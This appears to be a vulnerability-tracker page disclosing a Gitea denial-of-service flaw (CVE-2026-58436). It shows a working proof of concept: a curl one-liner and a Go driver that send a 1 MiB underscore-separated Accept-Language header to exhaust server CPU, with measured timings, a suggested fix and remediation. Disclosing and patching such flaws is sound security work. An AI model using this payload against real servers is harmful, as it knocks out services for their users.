Gitea
CVE-2026-58436
HIGH
Severity by source
Remote, no auth, and no user interaction via a header on every pre-auth request (AV:N/AC:L/PR:N/UI:N); only availability is affected and sustained requests can saturate all cores (A:H), no C/I impact.
Estimated by vuln.today — no official severity rating has been published for this CVE yet.
Lifecycle Timeline
3DescriptionCVE.org
Summary
The Locale middleware that runs in front of every unauthenticated request calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header without imposing a size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns ~2 seconds of server CPU on the host running Gitea; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~1 MiB of upstream bandwidth per request.
Affected versions
code.gitea.io/gitea 1.22.6 and (per code inspection of main) all earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that do not impose their own size limit on the Accept-Language header before calling ParseAcceptLanguage. Verified on:
- the official
gitea/gitea:1.22.6docker image (E2E below) mainat commit6f4027a6be28c876c0abaf37cc939658645b78a3by reading
modules/web/middleware/locale.go (the call site at line 38 is unchanged on main)
Privilege required
Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page.
Vulnerable code
modules/web/middleware/locale.go:38 (blob SHA fc396f0808187c358b4fc15dcefcd6957140a780):
// 3. Get language information from 'Accept-Language'.
// The first element in the list is chosen to be the default language automatically.
if len(lang) == 0 {
tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language"))
tag := translation.Match(tags...)
lang = tag.String()
}req.Header.Get("Accept-Language") is the unfiltered HTTP header. Default Go net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Gitea does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.
CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _aaaaaaaaa_aaaaaaaaa_... tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path. The fix author of CVE-2022-32149 treated - as the canonical separator; the _ alias was added in 2013, nine years before the fix.
How Accept-Language reaches ParseAcceptLanguage
Every Gitea HTTP request passes through Locale as it is wired up via the global request pipeline (Gitea registers the middleware on its router in routers/web/web.go). The middleware sequence is:
- The request enters
Locale(resp, req). req.URL.Query().Get("lang")returns "" (attacker omitslang).req.Cookie("lang")returns nil on a fresh client (attacker uses a
fresh client, or simply does not send the cookie).
req.Header.Get("Accept-Language")returns the full attacker-supplied
header value.
language.ParseAcceptLanguage(...)runs unfiltered.
No size or character class filter is applied between (4) and (5).
Proof of concept
Single-line bash reproducer that crafts the malicious header and times one request against a fresh gitea/gitea:1.22.6 container:
docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6
sleep 8
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:13000/Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).
End-to-end reproduction (against gitea/gitea:1.22.6)
A Go driver poc.go that boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):
// poc.go
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:13000/"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 60 * time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "_"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
send("attack ('_' x 1MiB)", buildPayload("_", 1<<20))
send("attack repeat 2", buildPayload("_", 1<<20))
send("attack repeat 3", buildPayload("_", 1<<20))
}Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official gitea/gitea:1.22.6 image with no other tuning):
E2E: golang/x/text ParseAcceptLanguage '_' bypass through
go-gitea/gitea 1.22.6 Locale middleware at
modules/web/middleware/locale.go:38.
Target: http://127.0.0.1:13000/
warm-up (no header) header=0 B '_'=0 '-'=0 status=200 t=18.079666ms
--- measurements (single request each) ---
baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=6.480333ms
baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=5.0455ms
guard-fires control ('-' x 1MiB) header=1048572 B '_'=0 '-'=104857 status=200 t=26.020625ms
attack ('_' x 1MiB) header=1048572 B '_'=104857 '-'=0 status=200 t=2.159538333s
attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.938493583s
attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.679953042sInterpretation:
| Request | Header bytes | Server time |
|---|---|---|
| no header / short tag | 0 - 5 | 1 - 7 ms |
1 MiB - separators (CVE-2022-32149 guard fires) | 1 MiB | 26 ms |
1 MiB _ separators (guard bypassed) | 1 MiB | 1.7 - 2.2 s |
The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator: a 1 MiB - payload returns in 26 ms because the parser short-circuits with ErrTagListTooLarge. The _ attack returns 200 from the same endpoint but consumes ~2 s of server CPU because the guard did not fire and the quadratic scanner ran to completion.
Impact
- One unauthenticated client can pin one CPU core for ~2 seconds per 1
MiB request.
- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a
10-core Gitea instance indefinitely.
- The endpoint returns 200 OK, so the attack does not surface as
abnormal traffic in standard 4xx/5xx dashboards.
- Self-hosted Gitea installations published to the public internet (the
common pattern) are exposed.
Suggested fix
Apply the size / character-class filter before reaching ParseAcceptLanguage. The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and short-circuit when the total exceeds a small ceiling:
// modules/web/middleware/locale.go
const maxAcceptLanguageSeparators = 32 // matches typical real browser values
if len(lang) == 0 {
al := req.Header.Get("Accept-Language")
if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators {
// Refuse to call into the BCP 47 parser with absurd input.
al = ""
}
tags, _, _ := language.ParseAcceptLanguage(al)
tag := translation.Match(tags...)
lang = tag.String()
}A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.
The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive in depth at the only call site that consumes attacker input.
Credit
Reported by tonghuaroot.
Articles & Coverage 1
AnalysisAI
Uncontrolled CPU consumption in Gitea (code.gitea.io/gitea, all versions < 1.27.0) lets a remote unauthenticated attacker stall the server by sending a single crafted Accept-Language header. The Locale middleware runs on every request - including the landing and sign-in pages - and passes the raw header into golang.org/x/text's ParseAcceptLanguage, whose quadratic-time scanner is reachable because the CVE-2022-32149 hardening only counts '-' separators while the scanner also treats '_' as a separator alias. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | No special conditions - remote unauthenticated exploitation against default configurations of Gitea, because the Locale middleware runs for every HTTP request (including the landing page and /user/login) before any authentication. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | No CVSS score or vector was provided in the input (CVSS: N/A), so severity must be inferred from the description. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker points a script at the public URL of a self-hosted Gitea instance and sends a plain unauthenticated GET / with an Accept-Language header of roughly 1 MiB filled with '_'-separated 9-character tokens (e.g. 'en_abcdefghi_abcdefghi…'). … |
| Remediation | Vendor-released patch: upgrade to Gitea 1.27.0, which bounds the header before parsing (fix in PR https://github.com/go-gitea/gitea/pull/38323 and commit https://github.com/go-gitea/gitea/commit/f452c369acc9f1bd05ec6ef9c2e4399062dd6da1, per advisory https://github.com/go-gitea/gitea/security/advisories/GHSA-fw57-jgch-pgf3). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all instances running Gitea and document current versions deployed across development, staging, and production environments. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita
Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab
Open Redirect on login in GitHub repository go-gitea/gitea prior to 1.16.5. Rated medium severity (CVSS 6.1), this vulne
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Branch-protection bypass in Gitea's self-hosted Git server (all versions before 1.26.0) allows a user with push access t
Migration transport protections in Gitea are bypassed for Git LFS operations, affecting all self-hosted instances before
Same weakness CWE-407 – Inefficient Algorithmic Complexity
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-fw57-jgch-pgf3